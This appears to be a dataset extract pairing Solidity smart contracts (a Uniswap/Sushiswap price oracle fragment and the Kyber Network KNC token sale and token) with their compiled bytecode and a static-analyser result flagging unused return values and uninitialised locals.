address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c8063983586d911610076578063a75d39c21161005b578063a75d39c21461016d578063a8aa1b3114610195578063ae6ec9b7146101e1576100a3565b8063983586d91461014d578063a2e6204514610165576100a3565b80630a793398146100a857806317bf72c6146100d25780631f7b6d32146100e7578063252c09d714610107575b600080fd5b6100bb6100b6366004611a9c565b6101f4565b6040516100c9929190611b67565b60405180910390f35b6100e56100e0366004611b37565b6108b4565b005b61ffff80546100f4911681565b60405161ffff90911681526020016100c9565b61011a610115366004611b37565b610962565b6040805163ffffffff90941684526dffffffffffffffffffffffffffff92831660208501529116908201526060016100c9565b6101556109b2565b60405190151581526020016100c9565b610155610b42565b61018061017b366004611a1e565b610bf4565b604080519283526020830191909152016100c9565b6101bc7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de881565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100c9565b6101806101ef366004611a59565b61109f565b60606000808573ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1610610233578588610236565b87865b5090508467ffffffffffffffff811115610279577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102a2578160200160208202803683370190505b5092508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105cb5761ffff80546000916102ee9160019116611c3d565b61ffff16905060006103008688611c00565b61030a9083611c60565b60408051606081018252600080825260208201819052918101829052919250905b838310156105055760408051606081018252600080825260208201819052918101829052908461ffff8110610389577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006103e98a86611baf565b61ffff8110610421577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602080870182905272010000000000000000000000000000000000009094048216948601949094529185015185519496506104a1949216929161049591611c77565b63ffffffff168f611524565b8884815181106104da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101526104f0836001611baf565b92506104fe90508884611baf565b925061032b565b60007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561056d57600080fd5b505afa158015610581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a59190611ae9565b845163ffffffff91821694506105bf935016905082611c60565b965050505050506108a9565b61ffff80546000916105e09160019116611c3d565b61ffff16905060006105f28688611c00565b6105fc9083611c60565b60408051606081018252600080825260208201819052918101829052919250905b838310156107e75760408051606081018252600080825260208201819052918101829052908461ffff811061067b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006106db8a86611baf565b61ffff8110610713577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602086015272010000000000000000000000000000000000009092048216848401819052928501518551949650610783949216929161049591611c77565b8884815181106107bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101526107d2836001611baf565b92506107e090508884611baf565b925061061d565b60007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561084f57600080fd5b505afa158015610863573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108879190611ae9565b845163ffffffff91821694506108a1935016905082611c60565b965050505050505b509550959350505050565b61ffff80546000916108c891849116611baf565b61ffff8054919250165b8181101561095d57600160008261ffff8110610917577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790558061095581611cb6565b9150506108d2565b505050565b60008161ffff811061097357600080fd5b015463ffffffff811691506dffffffffffffffffffffffffffff6401000000008204811691720100000000000000000000000000000000000090041683565b61ffff8054600091829182916109cb9160019116611c3d565b61ffff1661ffff8110610a07577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b158015610ae157600080fd5b505afa158015610af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b199190611ae9565b845163ffffffff918216945060009350610b3592501683611c60565b6107081093505050505b90565b60003373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000aed599aadfee8e32cedb59db2b1120d33a7bacfd1614610be7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f2146000000000000000000000000000000000000000000000000000000000000604482015260640160405180910390fd5b610bef61155f565b905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1610610c33578386610c36565b85845b5061ffff80549192506000918291610c519160019116611c3d565b61ffff1661ffff8110610c8d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602080860191909152720100000000000000000000000000000000000090920416838301526201000054620100015483517f5909c0d500000000000000000000000000000000000000000000000000000000815293519495506000949193909273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692635909c0d5926004818101939291829003018186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190611b4f565b610dba9190611c00565b610dc49190611bc7565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3857600080fd5b505afa158015610e4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e709190611b4f565b610e7a9190611c00565b610e849190611bc7565b905060007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610eee57600080fd5b505afa158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f269190611ae9565b63ffffffff1692505050836000015163ffffffff16811415610fe85761ffff8054600091610f579160029116611c3d565b61ffff1661ffff8110610f93577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104169082015293505b8351600090610ffd9063ffffffff1683611c60565b9050801561100b578061100e565b60015b90508a73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561106b5761106485602001516dffffffffffffffffffffffffffff1685838d611524565b975061108e565b61108b85604001516dffffffffffffffffffffffffffff1684838d611524565b97505b809650505050505050935093915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16106110de5784876110e1565b86855b5061ffff805491925060009182916110fc9160019116611c3d565b61ffff169050600061110e8783611c60565b604080516060808201835260008083526020808401829052838501829052845192830185528183528201819052928101839052929350919073ffffffffffffffffffffffffffffffffffffffff878116908e1614156112de575b848410156112d95761117b846001611baf565b905060008461ffff81106111b8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff8110611247577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602080870182905272010000000000000000000000000000000000009094048216948601949094529187015187519496506112bb949216929161049591611c77565b6112c59087611baf565b9550836112d181611cb6565b945050611168565b61144b565b8484101561144b576112f1846001611baf565b905060008461ffff811061132e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff81106113bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff6401000000008304811660208601527201000000000000000000000000000000000000909204821684840181905292870151875194965061142d949216929161049591611c77565b6114379087611baf565b95508361144381611cb6565b9450506112de565b6114558a87611bc7565b985060007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156114bf57600080fd5b505afa1580156114d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f79190611ae9565b855163ffffffff9182169450611511935016905082611c60565b9850505050505050505094509492505050565b600082620100015486866115389190611c60565b6115429085611c00565b61154c9190611bc7565b6115569190611bc7565b95945050505050565b61ffff8054600091829182916115789160019116611c3d565b61ffff1661ffff81106115b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b15801561168e57600080fd5b505afa1580156116a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c69190611ae9565b8451909350600092506116da915083611c77565b90506107088163ffffffff1611156119cd576000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561175e57600080fd5b505afa158015611772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117969190611b4f565b6117a09190611c00565b6117aa9190611bc7565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561181e57600080fd5b505afa158015611832573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118569190611b4f565b6118609190611c00565b61186a9190611bc7565b6040805160608101825263ffffffff871681526dffffffffffffffffffffffffffff808616602083015283169181019190915261ffff8054929350909160009190811690826118b883611c94565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061190e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b82519101805460208401516040909401517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000090911663ffffffff909316929092177fffffffffffffffffffffffffffff0000000000000000000000000000ffffffff166401000000006dffffffffffffffffffffffffffff948516021771ffffffffffffffffffffffffffffffffffff16720100000000000000000000000000000000000093909216929092021790555060019450610b3f9350505050565b6000935050505090565b803573ffffffffffffffffffffffffffffffffffffffff811681146119fb57600080fd5b919050565b80516dffffffffffffffffffffffffffff811681146119fb57600080fd5b600080600060608486031215611a32578283fd5b611a3b846119d7565b925060208401359150611a50604085016119d7565b90509250925092565b60008060008060808587031215611a6e578081fd5b611a77856119d7565b935060208501359250611a8c604086016119d7565b9396929550929360600135925050565b600080600080600060a08688031215611ab3578081fd5b611abc866119d7565b945060208601359350611ad1604087016119d7565b94979396509394606081013594506080013592915050565b600080600060608486031215611afd578283fd5b611b0684611a00565b9250611b1460208501611a00565b9150604084015163ffffffff81168114611b2c578182fd5b809150509250925092565b600060208284031215611b48578081fd5b5035919050565b600060208284031215611b60578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b82811015611ba057815184529284019290840190600101611b84565b50505092019290925292915050565b60008219821115611bc257611bc2611cef565b500190565b600082611bfb577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c3857611c38611cef565b500290565b600061ffff83811690831681811015611c5857611c58611cef565b039392505050565b600082821015611c7257611c72611cef565b500390565b600063ffffffff83811690831681811015611c5857611c58611cef565b600061ffff80831681811415611cac57611cac611cef565b6001019392505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ce857611ce8611cef565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea264697066735822122047338fd14fa1c5b2d68d248e1d3d0f8e84d4b8a50210c133135a57a8cdfc705064736f6c63430008020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,188 |
0x2dc2e581f1dca93b618937aa313c8920153af960
|
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ContributorApprover {
KyberContributorWhitelist public list;
mapping(address=>uint) public participated;
uint public cappedSaleStartTime;
uint public openSaleStartTime;
uint public openSaleEndTime;
using SafeMath for uint;
function ContributorApprover( KyberContributorWhitelist _whitelistContract,
uint _cappedSaleStartTime,
uint _openSaleStartTime,
uint _openSaleEndTime ) {
list = _whitelistContract;
cappedSaleStartTime = _cappedSaleStartTime;
openSaleStartTime = _openSaleStartTime;
openSaleEndTime = _openSaleEndTime;
require( list != KyberContributorWhitelist(0x0) );
require( cappedSaleStartTime < openSaleStartTime );
require( openSaleStartTime < openSaleEndTime );
}
// this is a seperate function so user could query it before crowdsale starts
function contributorCap( address contributor ) constant returns(uint) {
return list.getCap( contributor );
}
function eligible( address contributor, uint amountInWei ) constant returns(uint) {
if( now < cappedSaleStartTime ) return 0;
if( now >= openSaleEndTime ) return 0;
uint cap = contributorCap( contributor );
if( cap == 0 ) return 0;
if( now < openSaleStartTime ) {
uint remainedCap = cap.sub( participated[ contributor ] );
if( remainedCap > amountInWei ) return amountInWei;
else return remainedCap;
}
else {
return amountInWei;
}
}
function eligibleTestAndIncrement( address contributor, uint amountInWei ) internal returns(uint) {
uint result = eligible( contributor, amountInWei );
participated[contributor] = participated[contributor].add( result );
return result;
}
function saleEnded() constant returns(bool) {
return now > openSaleEndTime;
}
function saleStarted() constant returns(bool) {
return now >= cappedSaleStartTime;
}
}
contract KyberNetworkTokenSale is ContributorApprover {
address public admin;
address public kyberMultiSigWallet;
KyberNetworkCrystal public token;
uint public raisedWei;
bool public haltSale;
mapping(bytes32=>uint) public proxyPurchases;
function KyberNetworkTokenSale( address _admin,
address _kyberMultiSigWallet,
KyberContributorWhitelist _whilteListContract,
uint _totalTokenSupply,
uint _premintedTokenSupply,
uint _cappedSaleStartTime,
uint _publicSaleStartTime,
uint _publicSaleEndTime )
ContributorApprover( _whilteListContract,
_cappedSaleStartTime,
_publicSaleStartTime,
_publicSaleEndTime )
{
admin = _admin;
kyberMultiSigWallet = _kyberMultiSigWallet;
token = new KyberNetworkCrystal( _totalTokenSupply,
_cappedSaleStartTime,
_publicSaleEndTime + 7 days,
_admin );
// transfer preminted tokens to company wallet
token.transfer( kyberMultiSigWallet, _premintedTokenSupply );
}
function setHaltSale( bool halt ) {
require( msg.sender == admin );
haltSale = halt;
}
function() payable {
buy( msg.sender );
}
event ProxyBuy( bytes32 indexed _proxy, address _recipient, uint _amountInWei );
function proxyBuy( bytes32 proxy, address recipient ) payable returns(uint){
uint amount = buy( recipient );
proxyPurchases[proxy] = proxyPurchases[proxy].add(amount);
ProxyBuy( proxy, recipient, amount );
return amount;
}
event Buy( address _buyer, uint _tokens, uint _payedWei );
function buy( address recipient ) payable returns(uint){
require( tx.gasprice <= 50000000000 wei );
require( ! haltSale );
require( saleStarted() );
require( ! saleEnded() );
uint weiPayment = eligibleTestAndIncrement( recipient, msg.value );
require( weiPayment > 0 );
// send to msg.sender, not to recipient
if( msg.value > weiPayment ) {
msg.sender.transfer( msg.value.sub( weiPayment ) );
}
// send payment to wallet
sendETHToMultiSig( weiPayment );
raisedWei = raisedWei.add( weiPayment );
uint recievedTokens = weiPayment.mul( 600 );
assert( token.transfer( recipient, recievedTokens ) );
Buy( recipient, recievedTokens, weiPayment );
return weiPayment;
}
function sendETHToMultiSig( uint value ) internal {
kyberMultiSigWallet.transfer( value );
}
event FinalizeSale();
// function is callable by everyone
function finalizeSale() {
require( saleEnded() );
require( msg.sender == admin );
// burn remaining tokens
token.burn(token.balanceOf(this));
FinalizeSale();
}
// ETH balance is always expected to be 0.
// but in case something went wrong, we use this function to extract the eth.
function emergencyDrain(ERC20 anyToken) returns(bool){
require( msg.sender == admin );
require( saleEnded() );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(kyberMultiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
// just to check that funds goes to the right place
// tokens are not given in return
function debugBuy() payable {
require( msg.value == 123 );
sendETHToMultiSig( msg.value );
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract KyberContributorWhitelist is Ownable {
// cap is in wei. The value of 7 is just a stub.
// after kyc registration ends, we change it to the actual value with setSlackUsersCap
uint public slackUsersCap = 7;
mapping(address=>uint) public addressCap;
function KyberContributorWhitelist() {}
event ListAddress( address _user, uint _cap, uint _time );
// Owner can delist by setting cap = 0.
// Onwer can also change it at any time
function listAddress( address _user, uint _cap ) onlyOwner {
addressCap[_user] = _cap;
ListAddress( _user, _cap, now );
}
// an optimization in case of network congestion
function listAddresses( address[] _users, uint[] _cap ) onlyOwner {
require(_users.length == _cap.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _cap[i] );
}
}
function setSlackUsersCap( uint _cap ) onlyOwner {
slackUsersCap = _cap;
}
function getCap( address _user ) constant returns(uint) {
uint cap = addressCap[_user];
if( cap == 1 ) return slackUsersCap;
else return cap;
}
function destroy() onlyOwner {
selfdestruct(owner);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Transfer(address indexed _from, address indexed _to, uint _value);
//event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Approval(address indexed _owner, address indexed _spender, uint _value);
//event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
// KYBER-NOTE! code changed to comply with ERC20 standard
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
//balances[_from] = balances[_from].sub(_value); // this was removed
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract KyberNetworkCrystal is StandardToken, Ownable {
string public constant name = "Kyber Network Crystal";
string public constant symbol = "KNC";
uint public constant decimals = 18;
uint public saleStartTime;
uint public saleEndTime;
address public tokenSaleContract;
modifier onlyWhenTransferEnabled() {
if( now <= saleEndTime && now >= saleStartTime ) {
require( msg.sender == tokenSaleContract );
}
_;
}
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function KyberNetworkCrystal( uint tokenTotalAmount, uint startTime, uint endTime, address admin ) {
// Mint all tokens. Then disable minting forever.
balances[msg.sender] = tokenTotalAmount;
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
saleStartTime = startTime;
saleEndTime = endTime;
tokenSaleContract = msg.sender;
transferOwnership(admin); // admin could drain tokens that were sent here by mistake
}
function transfer(address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) onlyWhenTransferEnabled
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled
returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
}
|
0x606060405236156101015763ffffffff60e060020a600035041663015f32f9811461010f578063053e3169146101345780630f560cd71461015957806332b182c314610188578063442085b2146101bc57806358a687ec146101ed5780635c474f9e146102025780635fbaa3901461022957806362aac84d1461025057806371a18bfb1461026a5780639b8906ae1461029d578063adfceb9a146102c4578063b1f56187146102ed578063b3bd870a146102f7578063bc59d45a14610328578063c2eddfd21461034d578063d2fa1f8b1461037c578063e58018c5146103a4578063f088d547146103c9578063f851a440146103ef578063fc0c546a1461041e575b5b61010b3361044d565b505b005b341561011a57600080fd5b610122610616565b60405190815260200160405180910390f35b341561013f57600080fd5b61012261061c565b60405190815260200160405180910390f35b341561016457600080fd5b61016c610622565b604051600160a060020a03909116815260200160405180910390f35b341561019357600080fd5b610122600160a060020a0360043516602435610631565b60405190815260200160405180910390f35b34156101c757600080fd5b610122600160a060020a03600435166106d6565b60405190815260200160405180910390f35b34156101f857600080fd5b61010d610751565b005b341561020d57600080fd5b610215610883565b604051901515815260200160405180910390f35b341561023457600080fd5b61021561088d565b604051901515815260200160405180910390f35b341561025b57600080fd5b61010d6004351515610896565b005b341561027557600080fd5b610215600160a060020a03600435166108c3565b604051901515815260200160405180910390f35b34156102a857600080fd5b610215610a22565b604051901515815260200160405180910390f35b610122600435600160a060020a0360243516610a2b565b60405190815260200160405180910390f35b61010d610abf565b005b341561030257600080fd5b610122600160a060020a0360043516610ad8565b60405190815260200160405180910390f35b341561033357600080fd5b610122610aea565b60405190815260200160405180910390f35b341561035857600080fd5b61016c610af0565b604051600160a060020a03909116815260200160405180910390f35b341561038757600080fd5b610122600435610aff565b60405190815260200160405180910390f35b34156103af57600080fd5b610122610b11565b60405190815260200160405180910390f35b610122600160a060020a036004351661044d565b60405190815260200160405180910390f35b34156103fa57600080fd5b61016c610b17565b604051600160a060020a03909116815260200160405180910390f35b341561042957600080fd5b61016c610b26565b604051600160a060020a03909116815260200160405180910390f35b60008080640ba43b74003a111561046357600080fd5b60095460ff161561047357600080fd5b61047b610883565b151561048657600080fd5b61048e610a22565b1561049857600080fd5b6104a28434610b35565b9150600082116104b157600080fd5b813411156104fb57600160a060020a0333166108fc6104d6348563ffffffff610b9216565b9081150290604051600060405180830381858888f1935050505015156104fb57600080fd5b5b61050582610ba9565b600854610518908363ffffffff610be016565b60085561052d8261025863ffffffff610bfa16565b600754909150600160a060020a031663a9059cbb858360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561058f57600080fd5b6102c65a03f115156105a057600080fd5b5050506040518051905015156105b257fe5b7f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed8482846040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a18192505b5050919050565b60025481565b60035481565b600054600160a060020a031681565b600080600060025442101561064957600092506106cd565b600454421061065b57600092506106cd565b610664856106d6565b915081151561067657600092506106cd565b6003544210156106c957600160a060020a0385166000908152600160205260409020546106aa90839063ffffffff610b9216565b9050838111156106bc578392506106cd565b8092506106cd565b6106cd565b8392505b5b505092915050565b60008054600160a060020a031663b3aefb7583836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561072f57600080fd5b6102c65a03f1151561074057600080fd5b50505060405180519150505b919050565b610759610a22565b151561076457600080fd5b60055433600160a060020a0390811691161461077f57600080fd5b600754600160a060020a03166342966c68816370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107de57600080fd5b6102c65a03f115156107ef57600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561083857600080fd5b6102c65a03f1151561084957600080fd5b50505060405180519050507f49943394d1d9872d58364da1ca74d2b7af3f9be1146ac3c37513b0b1cb97ae2b60405160405180910390a15b565b6002544210155b90565b60095460ff1681565b60055433600160a060020a039081169116146108b157600080fd5b6009805460ff19168215151790555b50565b60055460009033600160a060020a039081169116146108e157600080fd5b6108e9610a22565b15156108f457600080fd5b600030600160a060020a031631111561091a5761091a30600160a060020a031631610ba9565b5b600160a060020a03821615610a1857600654600160a060020a038084169163a9059cbb9116826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561098e57600080fd5b6102c65a03f1151561099f57600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109f557600080fd5b6102c65a03f11515610a0657600080fd5b505050604051805190501515610a1857fe5b5b5060015b919050565b60045442115b90565b600080610a378361044d565b6000858152600a6020526040902054909150610a59908263ffffffff610be016565b6000858152600a6020526040908190209190915584907f09b5e4ada20eb4159976b564984473a225172608d4205eeafdc663a0cea8d484908590849051600160a060020a03909216825260208201526040908101905180910390a28091505b5092915050565b607b3414610acc57600080fd5b61088134610ba9565b5b565b60016020526000908152604090205481565b60085481565b600654600160a060020a031681565b600a6020526000908152604090205481565b60045481565b600554600160a060020a031681565b600754600160a060020a031681565b600080610b428484610631565b600160a060020a038516600090815260016020526040902054909150610b6e908263ffffffff610be016565b600160a060020a0385166000908152600160205260409020559050805b5092915050565b600082821115610b9e57fe5b508082035b92915050565b600654600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156108c057600080fd5b5b50565b600082820183811015610bef57fe5b8091505b5092915050565b6000828202831580610c165750828482811515610c1357fe5b04145b1515610bef57fe5b8091505b50929150505600a165627a7a72305820e393a2b35365b13c78596879e9dfdc0f69ddf6d258c391a4760c4b6546b95a9a0029
|
